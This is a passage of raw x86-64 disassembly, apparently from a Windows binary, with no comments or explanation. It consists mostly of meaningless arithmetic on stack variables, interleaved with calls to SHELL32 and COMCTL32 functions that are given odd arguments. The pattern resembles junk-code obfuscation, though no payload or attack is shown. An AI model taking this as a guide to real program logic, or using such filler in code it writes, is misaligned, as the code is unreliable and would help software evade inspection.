mov qword [rsp + 0xec18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe218], rax
lea rax, [rsp + 0xb770]
mov qword [rsp + 0xec20], rax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [0x14019f388]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf80], ax
movzx eax, word [rsp + 0x20bc]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x183c], ax
lea rax, [rsp + 0x158]
mov qword [rsp + 0xec28], rax
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov eax, dword [rsp + 0x6d94]
mov dword [rsp + 0x7078], eax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfc0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6b0], rax
mov rax, qword [0x14019efb8]
movzx eax, word [rax]
mov word [0x14019f494], ax
movzx eax, word [rsp + 0x2b1c]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2de4], ax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x541]
shl eax, cl
mov byte [rsp + 0x427], al
mov eax, dword [rsp + 0x6d54]
movzx ecx, al
mov eax, dword [rsp + 0x6a8c]
sar eax, cl
mov dword [rsp + 0x6b50], eax
mov rax, qword [rsp + 0xde38]
mov qword [rsp + 0xec30], rax
mov rax, qword [rsp + 0xe6e8]
mov ecx, dword [rsp + 0x5f6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x632c], eax
mov rax, qword [0x14019f120]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe850]
mov qword [rcx], rax
lea rax, [rsp + 0x500]
mov qword [rsp + 0xec38], rax
movsx eax, word [rsp + 0x1048]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c20], ax
movzx eax, word [0x14019d0d0]
movzx ecx, word [rsp + 0x2b1c]
add eax, ecx
mov word [0x14019f078], ax
mov rax, qword [rsp + 0xe9e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe0c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9048], rax
mov rax, qword [0x14019f230]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b14]
shl eax, cl
mov word [rsp + 0x2bcc], ax
movzx eax, word [rsp + 0x1f68]
mov word [rsp + 0x2f04], ax
mov rax, qword [rsp + 0xdf68]
mov rcx, qword [rsp + 0xdd30]
mov qword [rsp + 0xec40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec40]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe648], rax
mov rax, qword [rsp + 0xeb60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ab]
or eax, ecx
mov rcx, qword [rsp + 0xe7c0]
mov byte [rcx], al
lea rax, [rsp + 0xd210]
mov qword [rsp + 0xec48], rax
mov rax, qword [rsp + 0xe1a8]
mov ecx, dword [rsp + 0x6eec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d28], eax
movzx eax, word [rsp + 0x2afc]
mov word [rsp + 0x2f08], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0x9e10]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d270], rax
mov rax, qword [rsp + 0xe420]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4b7], al
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xdb30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f60], eax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d24]
sub eax, ecx
mov word [rsp + 0x2094], ax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2dec], ax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov dword [rsp + 0x707c], eax
movsx eax, byte [rsp + 0x3c4]
movsx ecx, byte [rsp + 0x76]
sar eax, cl
mov byte [rsp + 0x55b], al
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xb050]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe388]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e2c]
sub eax, ecx
mov word [rsp + 0xdfc], ax
movzx eax, word [rsp + 0x2c88]
movzx ecx, word [0x14019f03c]
add eax, ecx
mov word [0x14019f438], ax
lea rdx, [rsp + 0xd5c0]
lea rcx, [rsp + 0xdde8]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x7024], eax
mov rax, qword [rsp + 0xea80]
mov rcx, qword [rsp + 0xd880]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb198], rax
lea rax, [rsp + 0xd768]
mov qword [rsp + 0xec50], rax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [0x14019f2b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdea0], rax
movsx eax, word [rsp + 0x196c]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ae8], ax
mov rax, qword [rsp + 0xe6a8]
mov qword [rsp + 0xec58], rax
mov rax, qword [rsp + 0xe618]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xec60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6774], eax
movzx eax, byte [rsp + 0x1ae]
mov byte [rsp + 0x589], al
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6dc8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6fd8], eax
movzx eax, byte [rsp + 0x507]
movzx ecx, byte [rsp + 0x3fb]
and eax, ecx
mov byte [rsp + 0x406], al
movsx eax, word [rsp + 0x1088]
movsx ecx, word [rsp + 0x2874]
xor eax, ecx
mov word [0x14019f2f8], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd94]
sub eax, ecx
mov word [rsp + 0x1b18], ax
movzx eax, word [rsp + 0x2b54]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2eec], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov qword [rsp + 0xec68], rax
movsx eax, byte [rsp + 0x32a]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6d6c]
shl eax, cl
mov dword [rsp + 0x5a30], eax
mov rax, qword [rsp + 0xe880]
mov rcx, qword [rsp + 0xea78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcc48], rax
mov rax, qword [0x14019f088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x213c]
add eax, ecx
mov word [rsp + 0x16c8], ax
lea rax, [rsp + 0x2e34]
mov qword [rsp + 0xec70], rax
mov rax, qword [rsp + 0x9b60]
mov qword [0x14019f498], rax
movzx eax, word [rsp + 0x1660]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0xe190]
mov qword [rsp + 0xec78], rax
mov rax, qword [rsp + 0xe740]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0xdff0]
mov rcx, qword [rsp + 0xdd00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ea8], eax
lea rax, [rsp + 0x533]
mov qword [rsp + 0xec80], rax
movzx eax, byte [rsp + 0x53d]
movzx ecx, byte [rsp + 0x504]
or eax, ecx
mov byte [rsp + 0x51e], al
mov rax, qword [rsp + 0xe550]
mov eax, dword [rax]
mov dword [rsp + 0x7080], eax
mov rax, qword [rsp + 0xdcc8]
movzx ecx, al
mov rax, qword [rsp + 0xe6b0]
shr rax, cl
mov rcx, qword [rsp + 0xe5a0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2ec8]
movsx ecx, word [rsp + 0x1e0c]
and eax, ecx
mov word [0x14019d278], ax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc8]
xor eax, ecx
mov rcx, qword [rsp + 0xd2d8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2a70]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1fec], ax
movzx eax, word [0x14019d244]
movzx ecx, word [rsp + 0x2b88]
sub eax, ecx
mov rcx, qword [rsp + 0xd5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xea28]
movzx eax, byte [rax]
mov byte [rsp + 0x58a], al
mov rax, qword [rsp + 0xe5a0]
mov rcx, qword [rsp + 0xbb00]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xafc0], rax
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x586c]
shr eax, cl
mov dword [rsp + 0x6b18], eax
movsx eax, word [rsp + 0x2e60]
movsx ecx, word [rsp + 0x2cc4]
shl eax, cl
mov word [rsp + 0xec4], ax
movzx eax, word [rsp + 0x2d40]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22a8], ax
mov rax, qword [rsp + 0xd998]
mov rcx, qword [rsp + 0xe5b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f3d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe888]
mov qword [rsp + 0xec88], rax
mov rax, qword [rsp + 0xea68]
mov rcx, qword [0x14019d0f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc5c8], rax
mov rax, qword [rsp + 0xea68]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
movzx ecx, word [0x14019f090]
add eax, ecx
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdd60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x58b], al
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6df8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b54], eax
movzx eax, byte [rsp + 0x4f5]
mov byte [rsp + 0x58c], al
mov rax, qword [rsp + 0xe4c8]
mov qword [0x14019f4a0], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c58]
and eax, ecx
mov word [rsp + 0x2e54], ax
movsx eax, word [0x14019f29c]
movsx ecx, word [rsp + 0x2b5c]
or eax, ecx
mov word [rsp + 0x2c68], ax
lea rax, [rsp + 0x2e38]
mov qword [rsp + 0xec90], rax
mov rax, qword [rsp + 0xdc90]
mov rcx, qword [rsp + 0xea68]
mov qword [rsp + 0xec98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec98]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbbc8], rax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
mov rcx, qword [0x14019f2e8]
mov qword [rsp + 0xeca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeca0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb7d8], rax
movsx eax, byte [rsp + 0x558]
movsx ecx, byte [rsp + 0x259]
sub eax, ecx
mov byte [rsp + 0x57d], al
mov eax, dword [rsp + 0x6dc0]
mov dword [rsp + 0x7084], eax
movsx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bd4], ax
movzx eax, word [rsp + 0x26d0]
movzx ecx, word [rsp + 0x2ef8]
sar eax, cl
mov word [0x14019d0e0], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xe4b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xec68], rax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b54]
shl eax, cl
mov word [rsp + 0x15a8], ax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5ec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64c4], eax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x58d], al
mov rax, qword [rsp + 0xda08]
mov rcx, qword [rsp + 0xd610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ea4], eax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0xeca8], rax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2e30], ax
lea rax, [rsp + 0x1fb60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd6a8]
lea r8, [rsp + 0xd8b8]
mov edx, 0xef
lea rcx, [rsp + 0xe030]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x7088], eax
movzx eax, word [rsp + 0x2e04]
movzx ecx, word [0x14019f298]
shl eax, cl
mov word [0x14019d27c], ax
mov rax, qword [rsp + 0xb558]
mov qword [rsp + 0xecb0], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeab0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb10], rax
movsx eax, word [0x14019d0cc]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e94], ax
lea rax, [rsp + 0x1d98]
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xebf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
mov eax, dword [rsp + 0x6e18]
mov ecx, dword [0x14019d1dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a6c], eax
movsx eax, byte [rsp + 0x114]
mov rcx, qword [rsp + 0xe328]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x542], al
mov rax, qword [0x14019d040]
movzx ecx, al
mov rax, qword [rsp + 0xacf8]
sar rax, cl
mov qword [rsp + 0xe610], rax
movsx eax, word [rsp + 0x2b5c]
movsx ecx, word [rsp + 0x17ac]
or eax, ecx
mov word [0x14019f024], ax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
mov word [rsp + 0x2f0c], ax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe6d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4c0], al
mov eax, dword [rsp + 0x7028]
mov ecx, dword [rsp + 0x60c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60ac], eax
mov rax, qword [rsp + 0xe5c8]
mov rcx, qword [rsp + 0xe640]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe9e0], rax
mov rax, qword [rsp + 0x8fb0]
mov qword [rsp + 0xecc0], rax
mov rax, qword [rsp + 0xe8a8]
mov ecx, dword [rsp + 0x6fb0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5ea4], eax
movsx eax, byte [rsp + 0x2bf]
movsx ecx, byte [0x14019ef9c]
and eax, ecx
mov byte [rsp + 0x4ec], al
lea rax, [rsp + 0x1088]
mov qword [rsp + 0xecc8], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov word [0x14019f4a8], ax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe0a8]
shl rax, cl
mov qword [rsp + 0xc488], rax
lea rax, [0x14019f170]
mov qword [rsp + 0xecd0], rax
movsx eax, word [rsp + 0x2ca8]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e90], ax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xe9e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xdfa0]
mov qword [rcx], rax
movzx eax, byte [0x14019d011]
mov byte [rsp + 0x58e], al
mov rax, qword [rsp + 0xe078]
mov rcx, qword [rsp + 0xe638]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd5f8], rax
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6528], eax
movzx eax, word [rsp + 0x2cec]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdf98]
mov word [rcx], ax
mov rax, qword [rsp + 0xdf40]
mov rcx, qword [rsp + 0xe888]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d1a0], rax
mov eax, dword [rsp + 0x6540]
mov rcx, qword [rsp + 0xdbc8]
mov qword [rsp + 0xecd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xecd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x58f], al
movsx eax, word [rsp + 0x2f00]
movsx ecx, word [rsp + 0x1994]
shl eax, cl
mov word [rsp + 0x2bd0], ax
lea rax, [rsp + 0x26d0]
mov qword [rsp + 0xece0], rax
movsx eax, byte [rsp + 0x452]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x52a], al
lea rax, [rsp + 0xe018]
mov qword [rsp + 0xece8], rax
mov eax, dword [0x14019f428]
mov ecx, dword [rsp + 0x6f40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdf90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b5c], ax
movzx eax, word [rsp + 0xf04]
mov word [0x14019f4ac], ax
mov rax, qword [rsp + 0xebc0]
mov rcx, qword [rsp + 0xb348]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9c48], rax
mov rax, qword [rsp + 0xe700]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xe378]
mov qword [rcx], rax
lea rax, [rsp + 0xa760]
mov qword [rsp + 0xecf0], rax
mov r9d, 7
mov r8d, 0xd4
mov edx, 0x73
mov rcx, qword [rsp + 0xce40]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0xdde8], rax
movsx eax, word [0x14019f478]
movsx ecx, word [rsp + 0x2b30]
sub eax, ecx
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6df0]
shr eax, cl
mov dword [rsp + 0x7020], eax
mov rax, qword [rsp + 0xc4d8]
mov qword [rsp + 0xecf8], rax
movsx eax, byte [0x14019ef92]
movsx ecx, byte [rsp + 0x4d4]
or eax, ecx
mov byte [rsp + 0x444], al
lea rax, [rsp + 0x6d9c]
mov qword [rsp + 0xed00], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56e]
shl eax, cl
mov byte [rsp + 0x406], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2760]
sub eax, ecx
mov rcx, qword [0x14019f2d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1660]
movzx ecx, word [rsp + 0x2e64]
add eax, ecx
mov word [rsp + 0x2db4], ax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [rsp + 0xdfe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb768], rax
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov dword [rsp + 0x708c], eax
mov rax, qword [rsp + 0xdcf0]
movzx ecx, al
mov rax, qword [rsp + 0xb2a0]
shl rax, cl
mov qword [rsp + 0xdee0], rax
movsx eax, byte [rsp + 0x579]
mov rcx, qword [rsp + 0xe450]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2b5], al
lea rax, [rsp + 0x1af8]
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xebd0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1fbc], ax
lea rax, [rsp + 0x9e78]
mov qword [0x14019f4b0], rax
mov rax, qword [rsp + 0xece0]
movzx eax, word [rax]
mov word [rsp + 0x2f10], ax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91b0], rax
mov rax, qword [rsp + 0x9158]
mov rcx, qword [rsp + 0xdfb0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xba60], rax
mov rax, qword [rsp + 0xe1a8]
mov rcx, qword [rsp + 0xda88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e44], eax
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3c7]
shl eax, cl
mov rcx, qword [rsp + 0xdd48]
mov byte [rcx], al
mov rax, qword [rsp + 0xed00]
mov eax, dword [rax]
mov dword [rsp + 0x7090], eax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4fc]
or eax, ecx
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe210]
shr rax, cl
mov qword [rsp + 0x9fc0], rax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f16c], ax
mov rax, qword [rsp + 0xe448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13d8], ax
movzx eax, word [rsp + 0x1c08]
mov rcx, qword [rsp + 0xec90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
mov word [rsp + 0x2f14], ax
movsx eax, byte [rsp + 0x55f]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd2c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov dword [rsp + 0x7094], eax
mov rax, qword [rsp + 0xe5a0]
mov rcx, qword [rsp + 0xe580]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9fc0], rax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1770]
or eax, ecx
mov word [rsp + 0x2ee4], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b48]
sar eax, cl
mov word [rsp + 0x24cc], ax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0x96d0]
and rcx, rax
mov rax, rcx
mov qword [0x14019d280], rax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdda0]
mov qword [rcx], rax
lea rax, [rsp + 0xd290]
mov qword [rsp + 0xed10], rax
mov rax, qword [rsp + 0xe4b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xde60]
shl rax, cl
mov qword [rsp + 0xdcd8], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILIsEqual
lea r9, [rsp + 0x1fb60]
mov r8, qword [rsp + 0xed18]
mov rdx, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xd9b0]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6f68], eax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe250]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c3c], ax
mov rax, qword [rsp + 0xed00]
mov eax, dword [rax]
mov dword [rsp + 0x7098], eax
mov rax, qword [rsp + 0xe820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe440]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xdff8]
mov rcx, qword [rsp + 0xebe8]
mov qword [rsp + 0xed20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9180], rax
movsx eax, byte [rsp + 0x144]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x53b], al
mov eax, dword [rsp + 0x6e18]
imul eax, dword [rsp + 0x6da0]
mov dword [0x14019efb0], eax
mov rax, qword [rsp + 0xd818]
movzx eax, word [rax]
mov word [rsp + 0x2f18], ax
movsx eax, word [rsp + 0x245c]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b44], ax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
sub eax, ecx
mov word [rsp + 0x2b54], ax
mov r8d, SHDoDragDrop
mov rdx, qword [rsp + 0xd370]
mov rcx, qword [rsp + 0xe998]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [rsp + 0xed28], rax
mov rax, qword [rsp + 0xeac8]
mov rax, qword [rax]
mov rcx, qword [0x14019f1d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa498], rax
mov rax, qword [rsp + 0xe2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x46a], al
mov rax, qword [rsp + 0xdd00]
mov ecx, dword [0x14019f0c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6774], eax
movsx eax, word [rsp + 0x2de8]
movsx ecx, word [rsp + 0x2c08]
add eax, ecx
mov word [rsp + 0x1048], ax
movzx eax, word [rsp + 0x1bb0]
movzx ecx, word [rsp + 0x24fc]
xor eax, ecx
mov word [0x14019f4a8], ax
mov rax, qword [0x14019f4b0]
mov rax, qword [rax]
mov qword [rsp + 0xed30], rax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b98], ax
movzx eax, byte [rsp + 0x36f]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x386], al
mov eax, dword [rsp + 0x6964]
mov rcx, qword [rsp + 0xd0f8]
mov qword [rsp + 0xed38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7090], eax
mov rax, qword [rsp + 0xe7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x61b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a80], eax
mov rax, qword [rsp + 0xec80]
movzx eax, byte [rax]
mov byte [rsp + 0x590], al
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe418]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0xe448]
movzx eax, word [rax]
mov word [rsp + 0x2f1c], ax
movzx eax, word [rsp + 0x1cf4]
mov word [0x14019f4b8], ax
mov rax, qword [rsp + 0xe000]
